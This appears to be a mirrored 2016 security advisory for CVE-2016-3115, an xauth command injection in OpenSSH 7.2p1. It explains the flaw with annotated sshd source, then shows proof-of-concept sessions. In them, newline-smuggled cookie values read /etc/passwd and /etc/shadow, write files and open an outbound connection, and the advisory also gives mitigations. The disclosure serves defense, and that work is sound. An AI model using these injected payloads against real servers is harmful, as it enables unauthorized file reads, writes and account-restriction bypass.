Home / os / winmobile

OpenSSH 7.2p1 xauth Command Injection / Bypass

Posted on 16 March 2016

Author: <github.com/tintinweb> Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115 Version: 0.2 Date: Mar 3rd, 2016 Tag: openssh xauth command injection may lead to forced-command and /bin/false bypass Overview -------- Name: openssh Vendor: OpenBSD References: * http://www.openssh.com/[1] Version: 7.2p1 [2] Latest Version: 7.2p1 Other Versions: <= 7.2p1 (all versions; dating back ~20 years) Platform(s): linux Technology: c Vuln Classes: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection') Origin: remote Min. Privs.: post auth CVE: CVE-2016-3115 Description --------- quote website [1] >OpenSSH is the premier connectivity tool for remote login with the SSH protocol. It encrypts all traffic to eliminate eavesdropping, connection hijacking, and other attacks. In addition, OpenSSH provides a large suite of secure tunneling capabilities, several authentication methods, and sophisticated configuration options. Summary ------- An authenticated user may inject arbitrary xauth commands by sending an x11 channel request that includes a newline character in the x11 cookie. The newline acts as a command separator to the xauth binary. This attack requires the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector. By injecting xauth commands one gains limited* read/write arbitrary files, information leakage or xauth-connect capabilities. These capabilities can be leveraged by an authenticated restricted user - e.g. one with the login shell configured as /bin/false or one with configured forced-commands - to bypass account restriction. This is generally not expected. The injected xauth commands are performed with the effective permissions of the logged in user as the sshd already dropped its privileges. Quick-Info: * requires: X11Forwarding yes * bypasses /bin/false and forced-commands ** OpenSSH does not treat /bin/false like /bin/nologin (in contrast to Dropbear) * does not bypass /bin/nologin (as there is special treatment for this) Capabilities (xauth): * Xauth * write file: limited chars, xauthdb format * read file: limit lines cut at first s * infoleak: environment * connect to other devices (may allow port probing) PoC see ref github. Patch see ref github. Details ------- // see annotated code below * server_input_channel_req (serverloop.c) *- session_input_channel_req:2299 (session.c [2]) *- session_x11_req:2181 * do_exec_pty or do_exec_no_pty *- do_child *- do_rc_files (session.c:1335 [2]) Upon receiving an `x11-req` type channel request sshd parses the channel request parameters `auth_proto` and `auth_data` from the client ssh packet where `auth_proto` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`) and `auth_data` contains the actual x11 auth cookie. This information is stored in a session specific datastore. When calling `execute` on that session, sshd will call `do_rc_files` which tries to figure out if this is an x11 call by evaluating if `auth_proto` and `auth_data` (and `display`) are set. If that is the case AND there is no system `/sshrc` existent on the server AND it no user-specific `$HOME/.ssh/rc` is set, then `do_rc_files` will run `xauth -q -` and pass commands via `stdin`. Note that `auth_data` nor `auth_proto` was sanitized or validated, it just contains user-tainted data. Since `xauth` commands are passed via `stdin` and ` ` is a command-separator to the `xauth` binary, this allows a client to inject arbitrary `xauth` commands. Sidenote #1: in case sshd takes the `$HOME/.ssh/rc` branch, it will pass the tainted input as arguments to that script. Sidenote #2: client code also seems to not sanitize `auth_data`, `auth_proto`. [3] This is an excerpt of the `man xauth` [4] to outline the capabilities of this xauth command injection: SYNOPSIS xauth [ -f authfile ] [ -vqibn ] [ command arg ... ] add displayname protocolname hexkey generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata] [n]extract filename displayname... [n]list [displayname...] [n]merge [filename...] remove displayname... source filename info exit quit version help ? Interesting commands are: info - leaks environment information / path ~# xauth info xauth: file /root/.Xauthority does not exist Authority file: /root/.Xauthority File new: yes File locked: no Number of entries: 0 Changes honored: yes Changes made: no Current input: (argv):1 source - arbitrary file read (cut on first `s`) # xauth source /etc/shadow xauth: file /root/.Xauthority does not exist xauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::" extract - arbitrary file write * limited characters * in xauth.db format * since it is not compressed it can be combined with `xauth add` to first store data in the database and then export it to an arbitrary location e.g. to plant a shell or do other things. generate - connect to <ip>:<port> (port probing, connect back and pot. exploit vulnerabilities in X.org Source ------ Inline annotations are prefixed with `//#!` /* * Run $HOME/.ssh/rc, /etc/ssh/sshrc, or xauth (whichever is found * first in this order). */ static void do_rc_files(Session *s, const char *shell) { ... snprintf(cmd, sizeof cmd, "%s -q -", options.xauth_location); f = popen(cmd, "w"); //#! run xauth -q - if (f) { fprintf(f, "remove %s ", //#! remove <user_tainted_data> - injecting auth_display injects xauth command s->auth_display); fprintf(f, "add %s %s %s ", //#! injection s->auth_display, s->auth_proto, s->auth_data); pclose(f); } else { fprintf(stderr, "Could not run %s ", cmd); } } } Proof of Concept ---------------- Prerequisites: * install python 2.7.x * issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x * make sure `poc.py` Usage: <host> <port> <username> <password or path_to_privkey> path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key poc: 1. configure one user (user1) for `force-commands` and another one with `/bin/false` in `/etc/passwd`: #PUBKEY line - force commands: only allow "whoami" #cat /home/user1/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box #cat /etc/passwd user2:x:1001:1002:,,,:/home/user2:/bin/false 2. run sshd with `X11Forwarding yes` (kali default config) #> /root/openssh-7.2p1/sshd -p 22 -f sshd_config -D -d 3. `forced-commands` - connect with user1 and display env information #> python <host> 22 user1 .demoprivkey INFO:__main__:add this line to your authorized_keys file: #PUBKEY line - force commands: only allow "whoami" #cat /home/user/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box INFO:__main__:connecting to: user1:<PKEY>@host:22 INFO:__main__:connected! INFO:__main__: Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help> #> .info DEBUG:__main__:auth_cookie: ' info' DEBUG:__main__:dummy exec returned: None INFO:__main__:Authority file: /home/user1/.Xauthority File new: no File locked: no Number of entries: 1 Changes honored: yes Changes made: no Current input: (stdin):3 /usr/bin/xauth: (stdin):2: bad "add" command line ... 4. `forced-commands` - read `/etc/passwd` ... #> .readfile /etc/passwd DEBUG:__main__:auth_cookie: 'xxxx source /etc/passwd ' DEBUG:__main__:dummy exec returned: None INFO:__main__:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ... 5. `forced-commands` - write `/tmp/testfile` #> .writefile /tmp/testfile `thisisatestfile` DEBUG:__main__:auth_cookie: ' add 127.0.0.250:65500 `thisisatestfile` aa' DEBUG:__main__:dummy exec returned: None DEBUG:__main__:auth_cookie: ' extract /tmp/testfile 127.0.0.250:65500' DEBUG:__main__:dummy exec returned: None DEBUG:__main__:/usr/bin/xauth: (stdin):2: bad "add" command line #> ls -lsat /tmp/testfile 4 -rw------- 1 user1 user1 59 xx xx 13:49 /tmp/testfile #> cat /tmp/testfile FA65500hiFA65500`thisisatestfile`AA 6. `/bin/false` - connect and read `/etc/passwd` #> python <host> 22 user2 user2password INFO:__main__:connecting to: user2:user2password@host:22 INFO:__main__:connected! INFO:__main__: Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help> #> .readfile /etc/passwd DEBUG:__main__:auth_cookie: 'xxxx source /etc/passwd ' DEBUG:__main__:dummy exec returned: None INFO:__main__:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin ... user2:x:1001:1002:,,,:/home/user2:/bin/false ... 7. `/bin/false` - initiate outbound X connection to 8.8.8.8:6100 #> generate 8.8.8.8:100 . #> tcpdump IP <host>.42033 > 8.8.8.8.6100: Flags [S], seq 1026029124, win 29200, options [mss 1460,sackOK,TS val 431416709 ecr 0,nop,wscale 10], length 0 Mitigation / Workaround ------------------------ * disable x11-forwarding: `sshd_config` set `X11Forwarding no` * disable x11-forwarding for specific user with forced-commands: `no-x11-forwarding` in `authorized_keys` Notes ----- Verified, resolved and released within a few days. very impressive. Vendor response: see advisory [5] References ---------- [1] http://www.openssh.com/ [2] https://github.com/openssh/openssh-portable/blob/5a0fcb77287342e2fc2ba1cee79b6af108973dc2/session.c#L1388 [3] https://github.com/openssh/openssh-portable/blob/19bcf2ea2d17413f2d9730dd2a19575ff86b9b6a/clientloop.c#L376 [4] http://linux.die.net/man/1/xauth [5] http://www.openssh.com/txt/x11fwd.adv

 

TOP